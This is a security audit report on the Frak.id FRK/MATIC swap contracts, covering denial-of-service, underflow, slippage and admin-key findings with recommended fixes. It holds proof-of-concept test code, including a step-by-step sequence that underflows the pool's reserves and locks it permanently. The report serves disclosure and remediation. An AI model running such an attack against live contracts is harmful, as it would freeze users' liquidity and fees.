- Published on
#1 Solo Review: Frak.id swap feature
- Authors
- Name
- Beirao
- @0xBeirao
Introduction
A time-boxed security review of the Frak protocol was done by Beirao, with a focus on the security aspects of the application's smart contracts implementation.
Disclaimer
A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where I try to find as many vulnerabilities as possible. I can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.
About Beirao
I’m an independent smart contract security researcher. I extend my skills as a contractor specializing in EVM smart contracts security. If you're in need of robust code review, I'm here to help. We can get in touch via Twitter or Email.
About Frak.id
The Frak Protocol is a Consumption-based DeFi Protocol that aims to fairly distribute the value of content between creators and their community. Users can invest in derivatives called "Fraktions" tied to specific content, earning yield based on consumption. It operates on a Proof-of-Consumption (PoC) consensus mechanism. Fraktions' yield depends on individual and communal consumption, along with referrals. Rewards are divided among owners, a content pool, referees, and content creators. Transactions utilize the FRK utility token, exchangeable for other cryptocurrencies or fiat. Advertisers can use FRK for ads, benefiting the community. FRK holders access special deals and exclusive content.
The review part concerns the swap feature of the Frak.id ecosystem. Users will have the ability to exchange FRK ←→ MATIC tokens within the Frak dashboard (dashboard.frak.id). This is intended to prevent excessive exposure and volatility during the token launch. The goal is to minimize risk by avoiding a larger pool on platforms like Uniswap and ensuring a smoother token launch.
Privileged Roles & Actors
Fee receiver : The protocol treasury. Can set a fee and earn on every swaps.
Swapper : The user that want to exchange tokens.
Liquidity provider : Provide liquidity and earn a fee based on the liquidity provided.
Observation
This DEX is fork from Philogy/singleton-swapper. The main modifications are:
- Added native token support.
- Added the EIP-2612 permission feature.
- Changed from multi-pool to single-pool.
- Protocol fees added.
- Some gas efficiency optimizations were made.
A lot of gas optimization techniques and an intensive use of assembly are made, but all these optimizations make the codebase less comprehensible. Since this project will be launch on Polygon which is a low-cost chain, all these optimizations may not be justified considering the security risks.
Severity classification
Severity | Impact: High | Impact: Medium | Impact: Low |
---|---|---|---|
Likelihood: High | High | High | Medium |
Likelihood: Medium | High | Medium | Low |
Likelihood: Low | Medium | Low | Low |
Impact - the technical, economic and reputation damage of a successful attack
Likelihood - the chance that a particular vulnerability gets discovered and exploited
Severity - the overall criticality of the risk
Security Assessment Summary
review commit hash - a50af11
fixes review commit hash - 617e9bf
Deployment chains
- Polygon
- Mumbai (testnet)
Scope
The following smart contracts were in scope of the audit: (803 SLoC)
src/MonoPool.sol
| 308 SLoCsrc/Ops.sol
| 17 SLoCsrc/encoder/DecoderLib.sol
| 45 SLoCsrc/encoder/EncoderLib.sol
| 153 SLoCsrc/libs/AccounterLib.sol
| 35 SLoCsrc/libs/PoolLib.sol
| 73 SLoCsrc/libs/SwapLib.sol
| 41 SLoCsrc/libs/TokenLib.sol
| 132 SLoC
Findings Summary
Summary :
- 2 Highs
- 1 Medium
- 2 Lows
- 4 Informationals
- 3 Gas
ID | Title | Status |
---|---|---|
[H-01] | The swap pool can be DOS by force sending 1 wei of each tokens to the MonoPool | Fix |
[H-02] | totalReserve can underflow causing a unrecoverable DOS | Fix |
[M-01] | TokenLib does not check msg.value == amount | Fix |
[L-01] | One step transfer for feeReceiver can be dangerous | Ack |
[L-02] | No deadlines for swap execution: can result in unexpected slippage | Fix |
Detailed Findings
All POCs can be found here : gist
1 wei
of each tokens to the MonoPool
[H-01] The swap pool can be DOS by force sending Severity
Impact: Medium - Swaps and additional liquidity are back, but the situation is recoverable.
Likelihood: High - It’s easy to send 1 wei (+ Polygone tx are cheap).
Description
By force sending 1 wei
of each asset to the MonoPool
, the pool is miss processing the correct amount of asset that should be swap in both directions, resulting in a 1 wei
leftover making the transaction revert on: (MonoPool.sol#L177-L179)
- Swap 0 to 1
- Swap 1 to 0
- Add Liquidity
Fortunately, it’s possible to build and send this program to unlock the situation :
bytes memory program = EncoderLib
.init()
.appendReceiveAll(true)
.appendReceiveAll(false)
.appendSendAll(false, userAddress)
.appendSendAll(true, userAddress)
.done();
But it brings some overhead and useless gas consumption.
POC
Here are some tests that will revert, but should not revert once the recommendations are applied.
//! This test does revert but shouldn't
function test_swap0to1_forceSend_H1()
public
withNativeLiquidity(100 ether, 100 ether)
{
send1WeiOfToken0andNative();
_logPoolState(pool);
_swap0to1Native(1 ether);
_logPoolState(pool);
}
//! This does revert but shouldn't
function test_swap1to0_forceSend_H1()
public
withNativeLiquidity(100 ether, 100 ether)
{
send1WeiOfToken0andNative();
_logPoolState(pool);
_swap1to0Native(1 ether);
_logPoolState(pool);
}
//! This does revert but shouldn't
function test_addLiquidity_forceSend_H1()
public
withNativeLiquidity(100 ether, 100 ether)
{
send1WeiOfToken0andNative();
_logPoolState(pool);
addNativeLiquidity(100 ether, 100 ether);
_logPoolState(pool);
}
//! This does revert but shouldn't
function test_removeHalfLiquidityThenTryToSwap0to1_forceSend_H1()
public
withNativeLiquidity(100 ether, 100 ether)
{
send1WeiOfToken0andNative();
_logPoolState(pool);
removeHalfNativeLiquidity();
_logPoolState(pool);
_swap0to1Native(1 ether);
_logPoolState(pool);
}
//! This does revert but shouldn't
function test_removeHalfLiquidityThenTryToSwap1to0_forceSend_H1()
public
withNativeLiquidity(100 ether, 100 ether)
{
send1WeiOfToken0andNative();
_logPoolState(pool);
removeHalfNativeLiquidity();
_logPoolState(pool);
_swap1to0Native(1 ether);
_logPoolState(pool);
}
//! This does revert but shouldn't
function test_removeAllLiquidityThenAddLiquidityThenTryToSwap0to1_forceSend_H1()
public
withNativeLiquidity(100 ether, 100 ether)
{
send1WeiOfToken0andNative();
_logPoolState(pool);
removeNativeLiquidity();
_logPoolState(pool);
addNativeLiquidity(100 ether, 100 ether);
_logPoolState(pool);
_swap0to1Native(1 ether);
_logPoolState(pool);
}
//! This does revert but shouldn't
function test_removeAllLiquidityThenAddLiquidityThenTryToSwap1to0_forceSend_H1()
public
withNativeLiquidity(100 ether, 100 ether)
{
send1WeiOfToken0andNative();
_logPoolState(pool);
removeNativeLiquidity();
_logPoolState(pool);
addNativeLiquidity(100 ether, 100 ether);
_logPoolState(pool);
_swap1to0Native(1 ether);
_logPoolState(pool);
}
Recommendations
No longer rely on selfBalance()
(MonoPool.sol#L414) and track each balance state internally + M-01 recommendation. Once these changes are applied, any funds accidentally sent to the MonoPool
will be locked until someone build a operation like this one:
.init()
.appendSendAll(false, userAddress)
.appendSendAll(true, userAddress)
.done()
We can't add appendSendAll()
to all operations, because this removes the slippage protection.
totalReserve
can underflow causing a unrecoverable DOS
[H-02] Severity
Impact: High - total DOS with liquidity and fees stuck in the contract forever
Likelihood: Medium - hard conditions + no benefit from the attack
Description
tokenState.totalReserves
in the MonoPool._send()
can underflow because the subtraction L328 is unchecked.
unchecked {
accounter.accountChange(isToken0, amount.toInt256());
tokenState.totalReserves -= amount;
}
Normally this isn’t a problem because we always call the MonoPool._receive()
or the MonoPool._receiveAll()
methods to make the MonoPool
receive our asset. By calling one of these two methods we will end up doing this subtraction, which will naturally revert: L415
uint256 totalReceived = directBalance - reserves;
So within the nominal use of the pool we are safe. But is there a way to validate the operation without calling the MonoPool._receive()
or the MonoPool._receiveAll()
method?
Yes there is one! A hacker can : (context 1e18/1e18
lps are already on the pool)
- Set up
- Add liquidity (let’s say
5e18/5e18
) - nowtotalReserve = 6e18/6e18
- Force send
1 wei
oftoken0
- Add liquidity (let’s say
- Operation
- Withdraw
6e18 + 1
. This will causetotalReserve
to underflow (MonoPool.sol#L328) - Swap
token1
totoken0
. The goal here is to have the same value of both tokens so that we can withdraw our liquidity with no leftover. - Then we remove the liquidity
- The transaction is valid and
totalReserve
has underflowed.
- Withdraw
Now the contract is under an unrecoverable DOS. MonoPool._receive()
and MonoPool._receiveAll()
will always revert at this point.
POC
function test_H2() public withNativeLiquidity(1 ether, 1 ether) {
addNativeLiquidity(5 ether, 5 ether, swapUser);
_logPoolState(pool);
// send 1 wei of token0
token0.mint(swapUser, 1);
vm.prank(swapUser);
token0.transfer(address(pool), 1);
// Prank the eth to the user directly
token0.mint(swapUser, 6 ether + 1);
vm.prank(swapUser);
token0.approve(address(pool), 6 ether + 1);
// Build the send => swap => removeLiq op
bytes memory program = EncoderLib
.init()
.appendSend(true, swapUser, 6 ether + 1)
.appendSwap(false, 3 ether) // you need to choose this amount carefully to be able to remove liquidity
.appendRemoveLiquidity(3 ether)
.done();
// Send it
vm.prank(swapUser);
pool.execute(program);
_logPoolState(pool);
}
Recommendations
Remove the unchecked
in the MonoPool._send()
method. MonoPool.sol#L326
TokenLib
does not check msg.value == amount
[M-01] Severity
Impact: Medium - the slippage may be misconfigured resulting in partial fund losses.
Likelihood: Medium - we rely on the frontend to match msg.value
and amount
.
Description
When calling receive, all integrity checks are done on amount
, but the state change is done on msg.value
. A miss configuration of these 2 parameters can lead to unexpected slippage.
Recommendations
Add if (msg.value != amount) revert();
when native transfer. By the way, this makes the TokenLib
library way more robuste and usable in other context.
function transferFromSender(Token self, address to, uint256 amount) internal {
// If we are in the case of a native token, nothing to do
if (self.isNative()) {
if (msg.value != amount) revert();
return;
}
// Try to perform the transfer
Token.unwrap(self).safeTransferFrom(msg.sender, to, amount);
}
Quality Assurance
_feeReceiver
can be dangerous
[L-01] One step transfer for Severity
Impact: Medium - loss of admin feature forever
Likelihood: Low - need an admin error
Description
Single-step ownership transfer means that if an incorrect address is passed when transferring ownership or admin rights, it can mean that role is lost forever, with fees going to a different address.
Recommendations
It is a best practice to use two-step ownership transfer pattern, meaning ownership transfer gets to a "pending" state and the new owner should claim his new rights, otherwise the old owner still has control of the contract.
[L-02] No deadlines for swap execution: can result in unexpected slippage
Severity
Impact: Medium - unexpected slippage
Likelihood: Low - need the tx to wait in the mempool + need to forget slippage protection
Description
Blueship DEXes such as Uniswap use deadlines to execute swaps. Transactions may wait in the mempool for some time and the price may move, resulting in unexpected slippage.
Fortunately, users can specify slippage protection to protect against large price movements.
Recommendations
Implement a deadline feature to ensure that transactions are executed within a time constraint.
SwapLib.BPS
instead of MonoPool.PROTOCOL_FEES
for 10000
[I-01] Use Both SwapLib.BPS
and MonoPool.PROTOCOL_FEES
are constants set to 10000. Remove all iterations of MonoPool.PROTOCOL_FEES
and replace by SwapLib.BPS
.
Ops.NATIVE_TOKEN
is defined but never used
[I-02] Remove Ops.NATIVE_TOKEN
.
unchecked
block is useless in MonoPool
line 171
[I-03] unchecked
has an effect only on math operations directly within the block and don’t have any effect on functions called inside.
[I-04] Small centralization risk on protocol fees
If the admin private key is compromised the hacker get set his address on feeReceiver
and get 5% fee on every swaps.
Use multi-sign.
Since Frak plans to set the fee to 1%, set MAX_PROTOCOL_FEE
as low as possible.
Gas report
!=
instead of >
for uint 0 comparison
[G-01] Use struct TokenState
can be reduce in storage size
[G-02] Since the total MATIC supply is around 1028 (< 2128) we can be safe with uint128
and win a storage slot on this structure.
From :
struct TokenState {
uint256 totalReserves;
uint256 protocolFees;
}
To :
struct TokenState {
uint128 totalReserves;
uint128 protocolFees;
}
_accountReceived
, tokenState.totalReserves
var is cached but used only once
[G-03] In No longer cache tokenState.totalReserves
:
function _accountReceived(
Accounter memory accounter,
TokenState storage tokenState,
Token token
) internal {
uint256 directBalance = token.selfBalance();
uint256 totalReceived = directBalance - tokenState.totalReserves;
accounter.accountChange(token == TOKEN_0, -totalReceived.toInt256());
tokenState.totalReserves = directBalance;
}